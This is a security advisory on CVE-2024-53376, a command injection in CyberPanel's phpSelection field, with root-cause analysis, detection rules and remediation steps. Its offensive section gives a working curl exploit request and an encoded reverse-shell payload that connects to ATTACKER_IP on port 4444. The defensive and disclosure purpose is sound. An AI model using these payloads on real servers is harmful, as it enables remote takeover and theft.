CVE-2024-53376

Executive Summary

CVE-2024-53376 is a critical command injection vulnerability in CyberPanel, a popular web hosting control panel. The flaw resides in the phpSelection field of the /websites/submitWebsiteCreation endpoint. An authenticated remote attacker can inject arbitrary operating system commands by including shell metacharacters (e.g., ;, |, $()) in the phpSelection parameter. This allows for full server compromise, including data exfiltration, lateral movement, and ransomware deployment. The vulnerability affects all versions of CyberPanel before 2.3.8. No public exploit code or Nuclei template was provided, but the vulnerability is straightforward to exploit.

Supply Chain & Package Security

CyberPanel is a self-contained control panel, not an NPM, PyPI, Go, or Ruby package. However, its installation scripts and update mechanisms could be targeted in supply chain attacks. Administrators should verify the integrity of downloaded packages and use official sources only.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full system read access.
• Integrity (I): High – Full system write access.
• Availability (A): High – Potential for denial of service or system destruction.

Threat Level: Critical. The combination of low complexity, low privileges, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection. The phpSelection parameter is intended to specify a PHP version (e.g., "PHP 7.4", "PHP 8.0"). However, the application fails to sanitize user input before passing it to a shell command. An attacker can inject arbitrary commands using shell metacharacters.

Root Cause: The application likely constructs a command like:

/usr/local/cyberpanel/bin/php-selector --set-version <phpSelection>

Without proper escaping, an attacker can inject:

/usr/local/cyberpanel/bin/php-selector --set-version "PHP 7.4; id"

This results in the execution of the id command after the intended operation.

Attack Flow:

1. Attacker authenticates to CyberPanel (e.g., via default credentials or a compromised account).
2. Attacker sends a POST request to /websites/submitWebsiteCreation with a crafted phpSelection parameter.
3. The server executes the injected command with the privileges of the web server (typically root or www-data).
4. Attacker gains remote code execution and can install backdoors, exfiltrate data, or pivot.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$phpSelection = $_POST['phpSelection'];
$command = "/usr/local/cyberpanel/bin/php-selector --set-version " . $phpSelection;
shell_exec($command);

Patched Code (Conceptual):

$phpSelection = $_POST['phpSelection'];
// Validate against a whitelist of allowed PHP versions
$allowedVersions = ['PHP 7.4', 'PHP 8.0', 'PHP 8.1'];
if (in_array($phpSelection, $allowedVersions)) {
    $command = "/usr/local/cyberpanel/bin/php-selector --set-version " . escapeshellarg($phpSelection);
    shell_exec($command);
} else {
    // Handle invalid input
}

The patch introduces input validation (whitelist) and proper escaping using escapeshellarg().

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid CyberPanel user account (e.g., admin:password).
• Network access to the CyberPanel web interface (default port 8090).

Exploit Steps:

1. Login to CyberPanel and obtain a session cookie.
2. Send a crafted POST request to /websites/submitWebsiteCreation:

curl -X POST https://target:8090/websites/submitWebsiteCreation \
  -H "Cookie: cyberpanel_session=YOUR_SESSION" \
  -d "domainName=test.com&owner=admin&package=default&phpSelection=PHP%207.4%3Bid"

3. The output of the id command will be visible in the response or logs.

Advanced Payload:

phpSelection=PHP%207.4%3Bbash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261

This spawns a reverse shell to the attacker's machine.

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CyberPanel Command Injection',
      'Description' => 'Exploits command injection in phpSelection parameter',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-53376']],
      'DisclosureDate' => '2024-12-01',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    # Login and exploit logic
  end
end

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /websites/submitWebsiteCreation for unusual phpSelection values.
• Look for shell metacharacters (;, |, &, $(), backticks) in the parameter.
• Alert on outbound connections from the CyberPanel server to unknown IPs on non-standard ports.

Honeypot:

• Deploy a fake CyberPanel instance and log all phpSelection values for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /websites/submitWebsiteCreation with phpSelection containing shell metacharacters.
• Outbound connections from the CyberPanel server to attacker-controlled IPs (e.g., on port 4444).

File System IOCs:

• Unexpected files in /tmp/ or /var/www/ (e.g., exploit.sh, backdoor.php).
• Modified system binaries (e.g., /bin/bash replaced with a backdoored version).

Process IOCs:

• Processes spawned by the web server user (e.g., www-data) running shell commands like id, whoami, or reverse shells.

Log IOCs:

• Apache/Nginx access logs showing phpSelection with special characters.
• System logs (/var/log/syslog) showing unexpected command execution.

Detection Engineering

YARA Rule

rule CyberPanel_Command_Injection_CVE_2024_53376 {
    meta:
        description = "Detects command injection attempts in CyberPanel phpSelection parameter"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-53376"
    strings:
        $phpSelection = "phpSelection=" nocase
        $metachar1 = ";" ascii
        $metachar2 = "|" ascii
        $metachar3 = "$(" ascii
        $metachar4 = "`" ascii
    condition:
        $phpSelection and any of ($metachar*)
}

Sigma Rule

title: CyberPanel Command Injection via phpSelection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in CyberPanel's phpSelection parameter
author: Valters IT
date: 2024/12/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53376
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/websites/submitWebsiteCreation'
        cs-uri-query|contains: 'phpSelection='
    keywords:
        - ';'
        - '|'
        - '$('
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in PHP version names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CyberPanel Command Injection Attempt (CVE-2024-53376)";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/websites/submitWebsiteCreation";
    http_uri;
    content:"phpSelection=";
    http_client_body;
    pcre:"/(;|\||\$\(|`)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-53376;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CyberPanel to version 2.3.8 or later. This is the only complete fix.
2. If immediate upgrade is not possible, restrict access to the CyberPanel web interface using a firewall (e.g., allow only trusted IPs).
3. Disable unused user accounts and enforce strong passwords.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block shell metacharacters in POST parameters.
• Conduct regular security audits and penetration testing.
• Monitor logs for suspicious activity and set up alerts.

Workaround (if patching is delayed):

• Modify the CyberPanel source code to add input validation (as shown in the patched code section). This is not recommended for production without testing.

Valters IT
Securing Digital Frontiers